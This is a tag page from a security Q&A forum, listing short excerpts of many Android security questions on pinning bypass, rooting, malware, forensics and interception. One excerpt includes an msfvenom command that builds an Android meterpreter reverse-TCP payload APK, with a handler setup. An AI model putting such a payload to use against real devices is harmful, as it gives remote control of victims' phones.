Android is an operating system for mobile devices such as smartphones and tablet computers. Questions tagged [Android] should focus on security of the operating system itself, or of Android specific apps

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Is there an equivalent of an Apple cryptochip in Android devices?

Apple has a cryptochip which, beside managing the encryption keys, tunnels authentication and provides throttling of failed attempts, as well as the ability to trigger a device wipe after several ...
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How To Bypass SSL pinning In SPDY protocol?

I have been trying for almost a month to intercept the traffic of an android app the uses SSL pinning. I used Android-SSL-TrustKiller and SSLUnpinning but it did not work.I also decompiled the app and ...
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Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
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Is installation id secure enough to authenticate device's user against a Web Service API?

...or interactively asking for password / or having some certificate is inevitable? Context My Android app wants to do secure transactions via my Web Service API. However I do not want to bother my ...
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Block mobile tethering on android phones from Windows (DLP)

In our small organisation I have tried my best at implementing DLP by: Making sure users access all files from the server Local disks are denied access (forced to work only on network drives) ...
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File types and ways that can infect Android devices with malware

From what sources can an Android device be infected with malware? What various file types, executable or non executable, can infect an Android device with malware?
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Attacker's Potential Scope of Dmg if He/She can SSH into Android Phone

I've recently started researching the ability to SSH into an Android device. From what I've seen, this is a figured out challenge, which makes me wonder how much damage an attacker could do. Let's ...
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Google Chrome on Android constantly being redirected

I have an Android (5.0.1 with December 2015 patches). My problem is with Chrome (latest version as per Google Play Store). Which has malicious redirect going on to ...
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What to do with an APK file containing Swf.Exploit.CVE_2015_0323-1 and ELF File?

I received an APK file from a source. Prior to installation, I ran a virus scan on it. The result had following main features: The file contained Swf.Exploit.CVE_2015_0323-1 It required ...
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What is a root method and how is it achieved?

I'm wondering what exactly happens when you are finding a root method on Android. Is it just poking and prodding? I know it's high privileges, but how can that not be enabled through a regular ...
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Making an encrypted SMS app (Android) [closed]

From my limited googling I've noticed that a lot of the mainstream encrypted messaging apps all are either (or a combination of!) closed-source, run through an uncontrolled third-party server, use a ...
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Are staggered roll outs of security patches bad?

Many Android devices, including the Google Nexus line, are now receiving monthly security patches via OTA updates, accompanied by the Android Security Bulletins. However, these updates are often ...
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Why does Android care about differentiating multiple fingerprints?

I was reading through the Android Compatibility Definition document after a friend pointed me there while we were discussing fingerprint scanners and other biometric authentications. I noticed this ...
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Forensic analysis of Android SQLite DBs

In an extraction of com.facebook.katana/Database db files (fb.db and webview.db), I get: fb.db If I use an hexadecimal editor to open those files, even when there is no SQLite record named c_user, ...
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Android, how to protect in case of theft

What are some steps to take into account to protect an Android phone in case of theft? Smartphones are everywhere now, before the market was dominated by Blackberry and Windows Mobile. These days ...
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How to check if your Android app was updated by MitM?

As I was browsing on my phone yesterday, a gray popup appeared on my screen just as I was swiping up, and I accidentally hit the accept button. In the fraction of a second it was on I was able to read ...
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Diffie Hellman Key Exchange in a messaging application

I'm currently a student that is trying to develop a messaging application on android using java that will implement diffie hellman key exchange in order to ensure that they both will be able to ...
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Forwarding traffic to SSLSplit from Android

I want to forward non HTTP traffic to SSLSplit in order to do a MITM attack. How would I forward the traffic to SSLSplit from my Android?
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Server side Client VPN management?

Is this possible, and how? Here's the scenario: (1) Public Web Server hosts basic content for general public. (2) Private server inside a VPN hosts special subscriber content and services. The two ...
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What are the SEC80 and SECD00 Android Wi-Fi capabilities? [migrated]

I have been collecting Android ScanResult.capabilities for a while and have encountered some settings I can't find any description of. [ESS][SEC80][SECD00] and [WPA2-PSK-CCMP][ESS][SEC80][SECD00] ...
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Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
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Can I safely store credit card data in an app?

I am using a payment gateway in my app. I'm thinking of storing credit card numbers without the CVC numbers in my app. Storing the CC number eliminates the requirement of re-entering the CC number. ...
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Android Malware Dataset

I am working on a project to identify the author of the malicious apk. To test my results I need dataset of malicious apks along with their authors. Currently I am working on a dataset which is very ...
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How CERT.rsa is interrelated with PackageInfo signatures

I am a newbie in security and cryptography, but I am developing Android applications and now wanna to dive deeper into the Android security mechanisms. I am trying to understand how CERT.rsa (as I ...
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Android client side data encoding/encryption bypass

I am working on Android application security project where Android application sends all data in encryption from client side only. I assume that there must be a file at client side which might be ...
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Android keystore passwords leaked

We develop Android applications and by mistake following strings were sent within custom Android project folder to several clients: keyAlias keyPassword storePassword The .keystore file itself was ...
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How can I secure the usage of root access on android, given that I have regular updates?

the situation: I use Android 5.1 I'm running the "rooted" variant of fairphone OS, which means that: I can enable Root access in the developer settings, i.e. I don't need to exploit my phone. ...
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How can I ensure that phone app traffic is using HTTPS? [duplicate]

When I access a website, I know just by looking at the URL whether it's HTTPS or HTTP. If I'm using an app on my phone, I cannot see this. So if say the app wants me to enter a password in to create ...
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Android security document comparable to Apple's security document?

Is there an Android security document comparable to Apple's Security Document (PDF)? Does such a comprehensive document not apply because Android is only the OS and Apple makes the hardware and the ...
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Steps to recommend after people connect Android devices to questionable open WiFi access points

What are the appropriate steps to recommend for people to take after they connect their Android device to questionable open WiFi access points? When I say "people", I mean friends and colleagues. I ...
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Android Rooting and Evil Maid Attacks

I'm trying to learn more about full disk encryption (in the context of a Linux based server) and what schemes offer true security and which only offer the illusion of security. As I understand it, ...
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Secure copy-paste from phone to computer

Some computers on my university block the keepass application which I use as a password manager. I'm thinking of building a small web application + Android app which lets me securely copy a string ...
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How do I stop a snooper: phone and computer [closed]

Someone is snooping on me. They can see my location, text messages, and pictures (even if I don't send them to anyone), and also my download and web browsing history. Someone is reading my old juicy ...
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My cellphone is infected, and it keeps coming back

Please bear with me as English is not my native language My Android smartphone downloads apps automatically without any interaction. Generally the apps are known but some are unknown apps. I can only ...
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Why more Android applications (compared to iOS) use certificate pinning? [closed]

I used mitmproxy to test the same 50 apps on iOS and Android and noticed that more than 50% of the Android applications compared to 23% of iOS, used certificate pinning. Is there any explanation as ...
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Sniffing WhatsApp chat using Wireshark

Suppose two persons are using WhatsApp on Android. How can I see the communication between them if I have Wireshark running on a PC listening on network interface card? I know the communication ...
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Bank complains about rooted Android. Is it really any worse than a Windows desktop?

When I use my bank's Android application, the app notices that my phone is rooted and puts up a message with a big red "danger" symbol and a message saying "vulnerable device." I totally understand ...
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How to “stealthily” call a Java function to avoid text search?

Assume I am an attacker, I want to call an API function from an Android app, say Build.getRadioVersion(). But I want to keep this call stealthy, i.e., it cannot be searched through, e.g., grep ...
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WLCTL protocol detected by sniffer in an Android tablet

I detected that my rooted Android tablet had a slow connection. Trying to find what is taking the bandwith, I installed a firewall (DroidWall) and I blocked all the applications thinking that one of ...
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Mobile Security and Vulnerability Analysis tool [migrated]

What tools should I use to test the security of my iOS application? What are the open source tools available to make vulnerability assessment of an iOS and android application? Any online tool which ...
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How to protect against request intercepting and parameter-tampering? [duplicate]

My problem is that I made an app and I am making PHP Requests. I just realized that you can sniff everything on Android with "Packet Capture". How can I make my app more secure? I thought about ...
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Charles Proxy: Genymotion with certificate pinning

Is there anyway I can use charles proxy with an android app that is using certificate pinning? I read this thread: http://blog.attify.com/2015/08/24/intercepting-network-traffic-android/ and it says ...
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Can malware spread via bluetooth file transfer in Android?

I am aware of some malware that spreads when two devices are paired using Bluetooth; but can malware spread when sending a clean file to someone or receiving it via bluetooth ? If so, does it need ...
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Securely opening an insecure webserver to a single phone

I have a webserver running inside my private network and not exposed to the internet. I'd like to securely talk to this webserver from my mobile phone over the internet. However, this webserver has ...
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How to effectively detect a rooted device on Android?

Nowadays for detecting a rooted device, some applications perform static checks such as for example the case of GoogleWallet ...
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Are there any Android device dumps available to be used as datasets?

I'm interested in finding Android device data dumps so as to use in my PhD research, concerning data analysis. I have only been able to encounter two sources online; one of them unavailable at the ...
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Stagefright 2.0 - CVE-2015-3876 fix

Im currently studying Stagefright2.0 bugs. I'm wondering how the CVE-2015-3876 was fixed. I know it was caused by an integer overflow and the fix can be found here: ...
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Are Web Services vulnerable to CSRF?

I'm testing an android application, it uses web services for every action, so I saw the requests don't have tokens or another anti-automation mechanism, they just need to validate a token to identify ...
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Wasn't WhatsApp messages already encrypted?

According to this article, which was written in 2014, WhatsApp had partnered with Open Whisper System to make its (text based) messages encrypted. So what's the big change now that Whatsapp's ...
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SSL Certificate in my hosting makes me change my java code?

Sorry for my stupid question. But I really want to know what is gonna happen.. I have a webservice hosted over the http protocol. I wanna buy an SSL certificate to have my webservice hosting with ...